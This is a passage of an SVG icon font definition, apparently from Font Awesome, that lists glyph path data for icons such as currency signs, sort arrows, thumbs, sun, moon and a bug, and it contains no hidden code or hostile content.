-10.5h66.2998c16.2998 0 29.5 13.2002 29.5 29.5c0 13 -8.7002 24.5996 -21.2002 28.2998l-102.5 30 +c-44.3994 13 -79.5996 50.5 -83.7998 96.6006c-5.90039 64.8994 45.2998 119.6 109 119.6h2.5v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48c31.4004 -0.0996094 62 -10.7998 86.5 -30c7.90039 -6.09961 8.90039 -17.5996 1.7998 -24.5l-34.7998 -34 +c-5.2002 -5.09961 -13.4004 -6.09961 -19.5 -2c-10 6.7998 -22 10.5 -34.2002 10.5h-66.2998c-16.2998 0 -29.5 -13.2002 -29.5 -29.5c0 -13 8.7002 -24.7002 21.2002 -28.2998z" /> + <glyph glyph-name="rupee-sign" unicode="" horiz-adv-x="320" +d="M308 352h-72.9424c5.97266 -9.75391 10.7666 -20.459 14.252 -32h58.6904c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-52.8105c-7.1748 -74.5107 -61.8193 -125.566 -138.318 -127.906l150.882 -139.275 +c8.02734 -7.41016 2.78516 -20.8184 -8.13867 -20.8184h-82.5625c-3.1377 0 -6 1.20801 -8.13867 3.18164l-165.052 152.356c-2.46094 2.27148 -3.86133 5.46875 -3.86133 8.81836v53.0117c0 6.62695 5.37305 12 12 12h84c41.7959 0 68.54 22.5459 74.7568 58.6318h-158.757 +c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h146.25c-12.709 17.2939 -33.6621 27.252 -60.9697 27.252h-85.2803c-6.62695 0 -12 5.37305 -12 12v44.748c0 6.62695 5.37305 12 12 12h296c6.62695 0 12 -5.37305 12 -12v-40 +c0 -6.62695 -5.37305 -12 -12 -12z" /> + <glyph glyph-name="yen-sign" unicode="" horiz-adv-x="384" +d="M351.2 416c9.09961 0 14.8994 -9.7002 10.5996 -17.5996l-80.0996 -150.4h58.2998c6.59961 0 12 -5.40039 12 -12v-32c0 -6.59961 -5.40039 -12 -12 -12h-88.2002l-19.7998 -37.2002v-26.7998h108c6.59961 0 12 -5.40039 12 -12v-32c0 -6.59961 -5.40039 -12 -12 -12 +h-108v-92c0 -6.59961 -5.40039 -12 -12 -12h-56c-6.59961 0 -12 5.40039 -12 12v92h-108c-6.59961 0 -12 5.40039 -12 12v32c0 6.59961 5.40039 12 12 12h108v26.7998l-19.7998 37.2002h-88.2002c-6.59961 0 -12 5.40039 -12 12v32c0 6.59961 5.40039 12 12 12h58.2998 +l-80.0996 150.4c-4.2002 7.89941 1.5 17.5996 10.5996 17.5996h65.2002c4.59961 0 8.7998 -2.59961 10.7998 -6.7002l55.4004 -113.2c14.5 -34.6992 27.0996 -71.8994 27.0996 -71.8994h1.2998s12.6006 37.2002 27.1006 71.8994l55.3994 113.2 +c2 4.10059 6.2002 6.7002 10.8008 6.7002h65.2998z" /> + <glyph glyph-name="ruble-sign" unicode="" horiz-adv-x="384" +d="M239.36 128h-92.8008v-32h161.44c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-161.44v-52c0 -6.62695 -5.37305 -12 -12 -12h-58.5596c-6.62695 0 -12 5.37305 -12 12v52h-52c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h52 +v32h-52c-6.62695 0 -12 5.37305 -12 12v45.3682c0 6.62695 5.37305 12 12 12h52v206.632c0 6.62695 5.37305 12 12 12h163.36c85.1201 0 144.64 -57.5996 144.64 -143.071c0 -85.4707 -59.5195 -144.929 -144.64 -144.929zM146.56 347.252v-149.884h77.4404 +c48 0 76.1602 29.7285 76.1602 75.5605c0 45.2129 -28.1602 74.3232 -74.8799 74.3232h-78.7207z" /> + <glyph glyph-name="won-sign" unicode="" horiz-adv-x="576" +d="M564 256h-62.7002l-7.39941 -32h70.0996c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-84.9004l-42.0996 -182.7c-1.2998 -5.39941 -6.09961 -9.2998 -11.7002 -9.2998h-56.7998c-5.59961 0 -10.4004 3.90039 -11.7002 9.2998l-42.3994 182.7 +h-55.1006l-42.2998 -182.7c-1.2998 -5.39941 -6.09961 -9.2998 -11.7002 -9.2998h-56.7998c-5.59961 0 -10.5 3.90039 -11.7002 9.40039l-40.8994 182.6h-83.9004c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h69.5l-7.2002 32h-62.2998 +c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h48l-18.0996 80.7002c-1.7002 7.5 4 14.5996 11.6992 14.5996h42.1006c5.7002 0 10.7002 -4 11.7998 -9.59961l17.5 -85.7002h108.7l20 86c1.2998 5.5 6.09961 9.2998 11.7002 9.2998h44 +c5.59961 0 10.3994 -3.7998 11.6992 -9.2998l19.7002 -86h109.9l14.3994 85.7998c1.10059 5.5 6 9.5 11.7002 9.5h46.1006c7.69922 0 13.3994 -7.2002 11.6992 -14.7002l-18.5996 -80.5996h48c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12zM183.8 106 +l12.6006 54h-38.8008l11 -54c5.10059 -25.2002 6.80078 -47.2002 6.80078 -47.2002h1.09961c0.5 0 1.09961 21.4004 7.2998 47.2002zM211.3 224l7.5 32h-80.7998l6.5 -32h66.7998zM274.2 224h25.3994l-2 8.59961c-1.89941 8 -3.5 16 -4.7998 23.4004h-11.7998 +c-1.2998 -7.40039 -2.90039 -15.4004 -4.7998 -23.4004zM405.1 106l11.5 54h-39.0996l12.4004 -54c6.19922 -25.7998 6.69922 -47.2002 7.2998 -47.2002h1.09961s1.7002 22 6.7998 47.2002zM430.3 224l6.90039 32h-81.6006l7.30078 -32h67.3994z" /> + <glyph glyph-name="file" unicode="" horiz-adv-x="384" +d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM384 326.1v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98 +c4.5 -4.5 7 -10.5996 7 -16.9004z" /> + <glyph glyph-name="file-alt" unicode="" horiz-adv-x="384" +d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM288 76v8c0 6.59961 -5.40039 12 -12 12h-168c-6.59961 0 -12 -5.40039 -12 -12v-8 +c0 -6.59961 5.40039 -12 12 -12h168c6.59961 0 12 5.40039 12 12zM288 140v8c0 6.59961 -5.40039 12 -12 12h-168c-6.59961 0 -12 -5.40039 -12 -12v-8c0 -6.59961 5.40039 -12 12 -12h168c6.59961 0 12 5.40039 12 12zM288 212c0 6.59961 -5.40039 12 -12 12h-168 +c-6.59961 0 -12 -5.40039 -12 -12v-8c0 -6.59961 5.40039 -12 12 -12h168c6.59961 0 12 5.40039 12 12v8zM384 326.1v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004z" /> + <glyph glyph-name="sort-alpha-down" unicode="" horiz-adv-x="448" +d="M176 96c14.2197 0 21.3496 -17.2598 11.3301 -27.3096l-80 -96c-2.89551 -2.89453 -6.89844 -4.68555 -11.3125 -4.68555c-4.41309 0 -8.41211 1.79102 -11.3076 4.68555l-80 96c-10.0703 10.0693 -2.90039 27.3096 11.29 27.3096h48v304c0 8.83105 7.16895 16 16 16h32 +c8.83105 0 16 -7.16895 16 -16v-304h48zM416 160c8.83105 0 16 -7.16895 16 -16v-17.6299c0 -9.51074 -4.14355 -18.0566 -10.7402 -23.9199l-61.2598 -70.4502h56c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-128c-8.83105 0 -16 7.16895 -16 16 +v17.6299c0 9.51074 4.14355 18.0566 10.7402 23.9199l61.2598 70.4502h-56c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h128zM447.06 245.38c0.600586 -1.67969 0.931641 -3.49512 0.931641 -5.37988c0 -8.82812 -7.16406 -15.9951 -15.9912 -16h-24.8398 +c-0.015625 0 -0.0263672 -0.00195312 -0.0419922 -0.00195312c-7.11426 0 -13.1514 4.6543 -15.2285 11.082l-4.40918 12.9199h-71l-4.4209 -12.9199c-2.07617 -6.42773 -8.10938 -11.0801 -15.2246 -11.0801h-0.00488281h-24.8301 +c-8.82715 0.00488281 -15.9863 7.17773 -15.9863 16.0049c0 1.88574 0.326172 3.69531 0.926758 5.375l59.2695 160c2.20996 6.19043 8.125 10.6201 15.0703 10.6201h41.4395c6.94531 0 12.8604 -4.42969 15.0703 -10.6201zM335.61 304h32.7793l-16.3896 48z" /> + <glyph glyph-name="sort-alpha-up" unicode="" horiz-adv-x="448" +d="M16 288c-14.2197 0 -21.3496 17.2598 -11.3096 27.3096l80 96c2.89551 2.89453 6.89844 4.68555 11.3115 4.68555c4.41406 0 8.41211 -1.79102 11.3076 -4.68555l80 -96c10.0703 -10.0693 2.90039 -27.3096 -11.3096 -27.3096h-48v-304c0 -8.83105 -7.16895 -16 -16 -16 +h-32c-8.83105 0 -16 7.16895 -16 16v304h-48zM416 160c8.83105 0 16 -7.16895 16 -16v-17.6299c0 -9.51074 -4.14355 -18.0566 -10.7402 -23.9199l-61.2598 -70.4502h56c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-128 +c-8.83105 0 -16 7.16895 -16 16v17.6299c0 9.51074 4.14355 18.0566 10.7402 23.9199l61.2598 70.4502h-56c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h128zM447.06 245.38c0.600586 -1.67969 0.931641 -3.49512 0.931641 -5.37988 +c0 -8.82812 -7.16406 -15.9951 -15.9912 -16h-24.8398c-0.015625 0 -0.0263672 -0.00195312 -0.0419922 -0.00195312c-7.11426 0 -13.1514 4.6543 -15.2285 11.082l-4.40918 12.9199h-71l-4.4209 -12.9199c-2.07617 -6.42773 -8.10938 -11.0801 -15.2246 -11.0801 +h-0.00488281h-24.8301c-8.82715 0.00488281 -15.9863 7.17773 -15.9863 16.0049c0 1.88574 0.326172 3.69531 0.926758 5.375l59.2695 160c2.20996 6.19043 8.125 10.6201 15.0703 10.6201h41.4395c6.94531 0 12.8604 -4.42969 15.0703 -10.6201zM335.61 304h32.7793 +l-16.3896 48z" /> + <glyph glyph-name="sort-amount-down" unicode="" +d="M304 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-64c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h64zM176 96c14.2197 0 21.3496 -17.2598 11.3301 -27.3096l-80 -96 +c-2.89551 -2.89453 -6.89844 -4.68555 -11.3125 -4.68555c-4.41309 0 -8.41211 1.79102 -11.3076 4.68555l-80 96c-10.0801 10.0693 -2.90039 27.3096 11.29 27.3096h48v304c0 8.83105 7.16895 16 16 16h32c8.83105 0 16 -7.16895 16 -16v-304h48zM432 288 +c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-192c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h192zM368 160c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-128c-8.83105 0 -16 7.16895 -16 16v32 +c0 8.83105 7.16895 16 16 16h128zM496 416c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-256c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h256z" /> + <glyph glyph-name="sort-amount-up" unicode="" +d="M304 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-64c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h64zM16 288c-14.2305 0 -21.3496 17.2598 -11.3096 27.3096l80 96c2.89551 2.89453 6.89844 4.68555 11.3115 4.68555 +c4.41406 0 8.41211 -1.79102 11.3076 -4.68555l80 -96c10.0703 -10.0693 2.90039 -27.3096 -11.3096 -27.3096h-48v-304c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v304h-48zM432 288c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-192c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h192zM368 160c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-128c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h128zM496 416 +c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-256c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h256z" /> + <glyph glyph-name="sort-numeric-down" unicode="" horiz-adv-x="448" +d="M304 352c-8.82422 0.0078125 -15.9775 7.18945 -15.9775 16.0156c0 2.57129 0.608398 5.00098 1.6875 7.1543l16 32c2.62598 5.23926 8.03613 8.8252 14.29 8.83008h48c8.83105 0 16 -7.16895 16 -16v-112h16c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-96c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h16v64h-16zM330.15 189.09c53.4502 14.25 101.85 -25.8799 101.869 -77.0898v-10.7695c0 -70.3906 -28.25 -107.24 -86.25 -132 +c-8.36914 -3.58008 -18.0293 1.2793 -20.8994 9.90918l-9.90039 20c-2.62012 7.87012 0.610352 16.9404 8.18066 20.3408c7.59961 3.28516 14.6064 7.64258 20.8496 12.9092c-47.6396 4.76074 -83.0996 51.4805 -68.8496 102.53c7.62793 26.2793 28.5596 46.9287 55 54.1699 +zM352 92c11.0381 0 20 8.96191 20 20s-8.96191 20 -20 20s-20 -8.96191 -20 -20s8.96191 -20 20 -20zM176 96c14.2197 0 21.3496 -17.2598 11.3301 -27.3096l-80 -96c-2.89551 -2.89453 -6.89844 -4.68555 -11.3125 -4.68555c-4.41309 0 -8.41211 1.79102 -11.3076 4.68555 +l-80 96c-10.0703 10.0693 -2.90039 27.3096 11.29 27.3096h48v304c0 8.83105 7.16895 16 16 16h32c8.83105 0 16 -7.16895 16 -16v-304h48z" /> + <glyph glyph-name="sort-numeric-up" unicode="" horiz-adv-x="448" +d="M330.17 189.09c53.4502 14.25 101.83 -25.8799 101.85 -77.0898v-10.7695c0 -70.3906 -28.25 -107.24 -86.25 -132c-8.36914 -3.58008 -18.0293 1.2793 -20.8994 9.90918l-9.90039 20c-2.62012 7.87012 0.610352 16.9404 8.18066 20.3408 +c7.59961 3.28516 14.6064 7.64258 20.8496 12.9092c-47.6396 4.76074 -83.0996 51.4805 -68.8301 102.53c7.62891 26.2793 28.5596 46.9287 55 54.1699zM352 92c11.0381 0 20 8.96191 20 20s-8.96191 20 -20 20s-20 -8.96191 -20 -20s8.96191 -20 20 -20zM304 352 +c-8.82422 0.0078125 -15.9775 7.18945 -15.9775 16.0156c0 2.57129 0.608398 5.00098 1.6875 7.1543l16 32c2.62598 5.23926 8.03613 8.8252 14.29 8.83008h48c8.83105 0 16 -7.16895 16 -16v-112h16c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-96 +c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h16v64h-16zM107.31 411.31l80 -96c10.0703 -10.0693 2.90039 -27.3096 -11.3096 -27.3096h-48v-304c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v304h-48 +c-14.2197 0 -21.3496 17.2598 -11.3096 27.3096l80 96c2.89551 2.89453 6.89844 4.68555 11.3115 4.68555c4.41406 0 8.41211 -1.79102 11.3076 -4.68555z" /> + <glyph glyph-name="thumbs-up" unicode="" +d="M104 224c13.2549 0 24 -10.7451 24 -24v-240c0 -13.2549 -10.7451 -24 -24 -24h-80c-13.2549 0 -24 10.7451 -24 24v240c0 13.2549 10.7451 24 24 24h80zM64 -24c13.2549 0 24 10.7451 24 24s-10.7451 24 -24 24s-24 -10.7451 -24 -24s10.7451 -24 24 -24zM384 366.548 +c0 -42.416 -25.9697 -66.208 -33.2773 -94.5479h101.724c33.3965 0 59.3965 -27.7461 59.5527 -58.0977c0.0839844 -17.9385 -7.5459 -37.249 -19.4395 -49.1973l-0.109375 -0.110352c9.83594 -23.3369 8.23633 -56.0371 -9.30859 -79.4688 +c8.68164 -25.8945 -0.0683594 -57.7041 -16.3818 -74.7568c4.29785 -17.5977 2.24414 -32.5752 -6.14746 -44.6318c-20.4102 -29.3242 -70.9961 -29.7373 -113.773 -29.7373l-2.84473 0.000976562c-48.2871 0.0166016 -87.8057 17.5977 -119.561 31.7246 +c-15.957 7.09961 -36.8203 15.8877 -52.6504 16.1787c-6.54004 0.120117 -11.7832 5.45703 -11.7832 11.998v213.77c0 3.2002 1.28223 6.27148 3.55762 8.52148c39.6143 39.1436 56.6484 80.5869 89.1172 113.11c14.8037 14.832 20.1885 37.2363 25.3936 58.9023 +c4.44629 18.501 13.749 57.7939 33.9316 57.7939c24 0 72 -8 72 -81.4521z" /> + <glyph glyph-name="thumbs-down" unicode="" +d="M0 392c0 13.2549 10.7451 24 24 24h80c13.2549 0 24 -10.7451 24 -24v-240c0 -13.2549 -10.7451 -24 -24 -24h-80c-13.2549 0 -24 10.7451 -24 24v240zM40 192c0 -13.2549 10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24s-24 -10.7451 -24 -24zM312 -64 +c-20.1826 0 -29.4854 39.293 -33.9307 57.7949c-5.20605 21.666 -10.5889 44.0703 -25.3936 58.9023c-32.4688 32.5234 -49.5029 73.9668 -89.1172 113.11c-2.19727 2.17285 -3.55762 5.19043 -3.55762 8.52148v213.77c0 6.54102 5.24316 11.8779 11.7832 11.998 +c15.8311 0.290039 36.6934 9.0791 52.6504 16.1787c31.7549 14.127 71.2744 31.708 119.561 31.7246h2.84375c42.7773 0 93.3633 -0.413086 113.774 -29.7373c8.3916 -12.0566 10.4453 -27.0342 6.14746 -44.6318c16.3125 -17.0527 25.0635 -48.8633 16.3818 -74.7568 +c17.5439 -23.4316 19.1436 -56.1318 9.30859 -79.4688l0.109375 -0.110352c11.8936 -11.9492 19.5234 -31.2588 19.4395 -49.1973c-0.15625 -30.3516 -26.1572 -58.0977 -59.5527 -58.0977h-101.725c7.30762 -28.3398 33.2773 -52.1318 33.2773 -94.5479 +c0 -73.4521 -48 -81.4521 -72 -81.4521z" /> + <glyph glyph-name="female" unicode="" horiz-adv-x="256" +d="M128 448c35.3457 0 64 -28.6543 64 -64s-28.6543 -64 -64 -64s-64 28.6543 -64 64s28.6543 64 64 64zM247.283 93.8213c3.78809 -15.1504 -7.69238 -29.8213 -23.2832 -29.8213h-56v-104c0 -13.2549 -10.7451 -24 -24 -24h-32c-13.2549 0 -24 10.7451 -24 24v104h-56 +c-15.6172 0 -27.0654 14.6953 -23.2832 29.8213l48 192c2.6084 10.4316 12.0488 18.1787 23.2832 18.1787h11.3604c23.6895 -10.8936 50.5684 -10.4434 73.2793 0h11.3604c11.2344 0 20.6748 -7.74707 23.2832 -18.1787z" /> + <glyph glyph-name="male" unicode="" horiz-adv-x="192" +d="M96 448c35.3457 0 64 -28.6543 64 -64s-28.6543 -64 -64 -64s-64 28.6543 -64 64s28.6543 64 64 64zM144 304c26.5098 0 48 -21.4902 48 -48v-136c0 -13.2549 -10.7451 -24 -24 -24h-16v-136c0 -13.2549 -10.7451 -24 -24 -24h-64c-13.2549 0 -24 10.7451 -24 24v136h-16 +c-13.2549 0 -24 10.7451 -24 24v136c0 26.5098 21.4902 48 48 48h11.3604c23.6895 -10.8936 50.5684 -10.4434 73.2793 0h11.3604z" /> + <glyph glyph-name="sun" unicode="" +d="M256 288c52.9004 0 96 -43.0996 96 -96s-43.0996 -96 -96 -96s-96 43.0996 -96 96s43.0996 96 96 96zM502.4 207.5c12.7998 -6.40039 12.7998 -24.5996 -0.200195 -31.0996l-94.7002 -47.3008l33.5 -100.399c4.59961 -13.5 -8.2998 -26.4004 -21.9004 -21.9004 +l-100.399 33.5l-47.2998 -94.7002c-6.40039 -12.7998 -24.6006 -12.7998 -31 0l-47.3008 94.7002l-100.399 -33.5c-13.5 -4.59961 -26.4004 8.2998 -21.9004 21.9004l33.5 100.5l-94.7002 47.2998c-12.7998 6.40039 -12.7998 24.5996 0 31l94.7002 47.4004l-33.5 100.399 +c-4.59961 13.5 8.2998 26.4004 21.9004 21.9004l100.5 -33.5l47.2998 94.7002c6.40039 12.7998 24.5996 12.7998 31 0l47.4004 -94.8008l100.399 33.5c13.5 4.60059 26.4004 -8.2998 21.9004 -21.8994l-33.5 -100.4zM346.5 101.5c49.9004 49.9004 49.9004 131.1 0 181 +s-131.1 49.9004 -181 0s-49.9004 -131.1 0 -181s131.1 -49.9004 181 0z" /> + <glyph glyph-name="moon" unicode="" +d="M283.211 -64c-141.489 0 -256 114.691 -256 256c0 141.489 114.691 256 256 256c16.0479 -0.00195312 31.5352 -1.46973 46.7754 -4.28027c11.0059 -2.0332 13.4414 -16.7178 3.75586 -22.2295c-62.8359 -35.7588 -101.498 -102.172 -101.498 -174.395 +c0 -125.378 114.059 -220.607 238.262 -196.954c10.9229 2.08008 18.6299 -10.6416 11.5625 -19.3496c-47.7783 -58.8672 -119.896 -94.792 -198.857 -94.792z" /> + <glyph glyph-name="archive" unicode="" +d="M32 0v288h448v-288c0 -17.7002 -14.2998 -32 -32 -32h-384c-17.7002 0 -32 14.2998 -32 32zM192 212v-8c0 -6.59961 5.40039 -12 12 -12h104c6.59961 0 12 5.40039 12 12v8c0 6.59961 -5.40039 12 -12 12h-104c-6.59961 0 -12 -5.40039 -12 -12zM480 416 +c17.7002 0 32 -14.2998 32 -32v-48c0 -8.7998 -7.2002 -16 -16 -16h-480c-8.7998 0 -16 7.2002 -16 16v48c0 17.7002 14.2998 32 32 32h448z" /> + <glyph glyph-name="bug" unicode="" +d="M511.988 159.1c-0.478516 -17.4297 -15.2168 -31.0996 -32.6533 -31.0996h-55.335v-16c0 -21.8643 -4.88184 -42.584 -13.5996 -61.1445l60.2275 -60.2285c12.4961 -12.4971 12.4961 -32.7578 0 -45.2549c-12.498 -12.4971 -32.7588 -12.4961 -45.2559 0 +l-54.7363 54.7363c-24.75 -20.0732 -56.2852 -32.1084 -90.6357 -32.1084v244c0 6.62695 -5.37305 12 -12 12h-24c-6.62695 0 -12 -5.37305 -12 -12v-244c-34.3506 0 -65.8857 12.0352 -90.6357 32.1084l-54.7363 -54.7363c-12.498 -12.4971 -32.7588 -12.4961 -45.2559 0 +c-12.4961 12.4971 -12.4961 32.7578 0 45.2549l60.2275 60.2285c-8.71777 18.5605 -13.5996 39.2803 -13.5996 61.1445v16h-55.334c-17.4355 0 -32.1748 13.6699 -32.6533 31.0996c-0.49707 18.084 14.0156 32.9004 31.9873 32.9004h56v58.7451l-46.6279 46.6279 +c-12.4961 12.4971 -12.4961 32.7578 0 45.2549c12.498 12.4971 32.7578 12.4971 45.2559 0l54.627 -54.6279h229.489l54.627 54.627c12.498 12.4971 32.7578 12.4971 45.2559 0c12.4961 -12.4971 12.4961 -32.7578 0 -45.2549l-46.627 -46.627v-58.7451h56 +c17.9717 0 32.4844 -14.8164 31.9883 -32.9004zM257 448c61.8564 0 112 -50.1436 112 -112h-224c0 61.8564 50.1436 112 112 112z" /> + <glyph glyph-name="caret-square-left" unicode="" horiz-adv-x="448" +d="M400 -32h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48zM259.515 323.515l-123.029 -123.029c-4.68652 -4.68652 -4.68652 -12.2842 0 -16.9717l123.028 -123.028 +c7.56055 -7.56055 20.4854 -2.20605 20.4854 8.48438v246.06c0.000976562 10.6904 -12.9248 16.0449 -20.4844 8.48535z" /> + <glyph glyph-name="dot-circle" unicode="" +d="M256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248zM336 192c0 44.1123 -35.8877 80 -80 80s-80 -35.8877 -80 -80s35.8877 -80 80 -80s80 35.8877 80 80z" /> + <glyph glyph-name="wheelchair" unicode="" +d="M496.101 62.3311l14.2275 -28.6631c3.92871 -7.91504 0.697266 -17.5156 -7.21777 -21.4453l-65.4658 -32.8857c-16.0488 -7.9668 -35.5557 -1.19434 -43.1885 15.0547l-62.7773 133.608h-139.679c-15.9248 0 -29.4258 11.71 -31.6787 27.4746 +c-33.8887 237.218 -31.9414 222.481 -32.3213 228.525c0 36.3584 30.3184 65.6348 67.0518 63.9287c33.2715 -1.54492 60.0479 -28.9043 60.9248 -62.2012c0.868164 -32.9326 -23.1514 -60.4229 -54.6074 -65.0381l4.66992 -32.6904h129.961c8.83691 0 16 -7.16309 16 -16 +v-32c0 -8.83691 -7.16309 -16 -16 -16h-120.818l4.57227 -32h132.246c12.8076 0 23.8506 -7.5127 28.9619 -18.3916l57.5146 -122.407l36.1787 18.3486c7.91504 3.92871 17.5166 0.697266 21.4453 -7.21777zM311.358 96l25.752 -54.8076 +c-27.3047 -61.8848 -89.2402 -105.192 -161.11 -105.192c-97.0469 0 -176 78.9531 -176 176c0 74.0371 45.9561 137.536 110.836 163.489c2.64453 -18.4736 5.77637 -40.3682 9.48828 -66.333c-33.6299 -19.3477 -56.3242 -55.6514 -56.3242 -97.1562 +c0 -61.7568 50.2432 -112 112 -112c56.3242 0 103.064 41.7959 110.852 96h24.5068z" /> + <glyph glyph-name="lira-sign" unicode="" horiz-adv-x="384" +d="M371.994 192c6.78613 0 12.2578 -5.62598 11.9971 -12.4082c-5.15332 -133.758 -94.3174 -211.592 -228.408 -211.592h-79.583c-6.62695 0 -12 5.37305 -12 12v193.442l-49.3975 -10.9775c-7.49316 -1.66602 -14.6025 4.03711 -14.6025 11.7139v40.9766 +c0 5.72656 4.02734 10.5205 9.39746 11.7139l54.6025 12.1338v30.4395l-49.3975 -10.9775c-7.49316 -1.66602 -14.6025 4.03711 -14.6025 11.7139v40.9766c0 5.72656 4.02734 10.5205 9.39746 11.7139l54.6025 12.1338v68.9971c0 6.62695 5.37305 12 12 12h56 +c6.62695 0 12 -5.37305 12 -12v-51.2188l129.397 28.7539c7.49316 1.66602 14.6025 -4.03711 14.6025 -11.7139v-40.9756c0 -5.72656 -4.02734 -10.5205 -9.39746 -11.7139l-134.603 -29.9121v-30.4385l129.397 28.7539c7.49316 1.66602 14.6025 -4.03711 14.6025 -11.7139 +v-40.9766c0 -5.72656 -4.02734 -10.5205 -9.39746 -11.7139l-134.603 -29.9121v-159.219c86.1787 0 168 48 168 148.754c0 6.33398 5.63965 11.2461 11.9746 11.2461h48.0195z" /> + <glyph glyph-name="space-shuttle" unicode="" horiz-adv-x="640" +d="M592.604 239.756c29.6787 -13.9111 47.3965 -31.7637 47.3965 -47.7559s-17.7178 -33.8447 -47.3965 -47.7559c-32.8682 -15.4082 -76.8262 -24.2441 -120.604 -24.2441h-285.674c-4.95215 -6.55469 -10.585 -11.9775 -16.7197 -16h206.394 +c-146.843 -30.2529 -156.597 -136 -279.997 -136h-0.00292969v128h-16v-128c-26.5098 0 -48 28.6543 -48 64v64c-23.1807 0 -32 10.0166 -32 24v40c0 13.9678 8.80273 24 32 24v16c-23.1807 0 -32 10.0166 -32 24v40c0 13.9678 8.80273 24 32 24v64 +c0 35.3457 21.4902 64 48 64v-128h16v128h0.00292969c123.4 0 133.154 -105.747 279.997 -136h-206.393c6.13477 -4.02246 11.7676 -9.44531 16.7197 -16h285.673c43.7773 0 87.7354 -8.83594 120.604 -24.2441zM488 152c31.9424 0 31.9092 80 0 80 +c-4.41504 0 -8 -3.58496 -8 -8v-64c0 -4.41504 3.58496 -8 8 -8z" /> + <glyph glyph-name="envelope-square" unicode="" horiz-adv-x="448" +d="M400 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352zM178.117 185.896c10.5156 -7.66895 31.3799 -26.1133 45.8828 -25.8955 +c14.4912 -0.225586 35.3828 18.2393 45.8828 25.8936c90.6836 65.8145 89.7461 65.9697 114.117 84.9385v25.167c0 13.2549 -10.7451 24 -24 24h-272c-13.2549 0 -24 -10.7451 -24 -24v-25.167c24.3525 -18.9541 23.4287 -19.1201 114.117 -84.9365zM384 230.225 +c-13.958 -10.793 -33.3252 -25.2334 -95.2832 -70.1982c-13.6826 -9.98438 -37.833 -32.1592 -64.7197 -32.0254c-26.7188 -0.134766 -50.5322 21.6689 -64.6943 32.0098c-61.9736 44.9785 -81.3447 59.4199 -95.3027 70.2139v-142.225c0 -13.2549 10.7451 -24 24 -24h272 +c13.2549 0 24 10.7451 24 24v142.225z" /> + <glyph glyph-name="university" unicode="" +d="M496 320v-16c0 -4.41504 -3.58496 -8 -8 -8h-24v-12c0 -6.62695 -5.37305 -12 -12 -12h-392c-6.62695 0 -12 5.37305 -12 12v12h-24c-4.41504 0 -8 3.58496 -8 8v16c0 3.33398 2.03906 6.19141 4.94141 7.3916l232 88 +c0.94043 0.389648 1.97168 0.605469 3.05371 0.605469c1.08105 0 2.12305 -0.21582 3.06348 -0.605469l232 -88c2.90234 -1.2002 4.94141 -4.05762 4.94141 -7.3916zM472 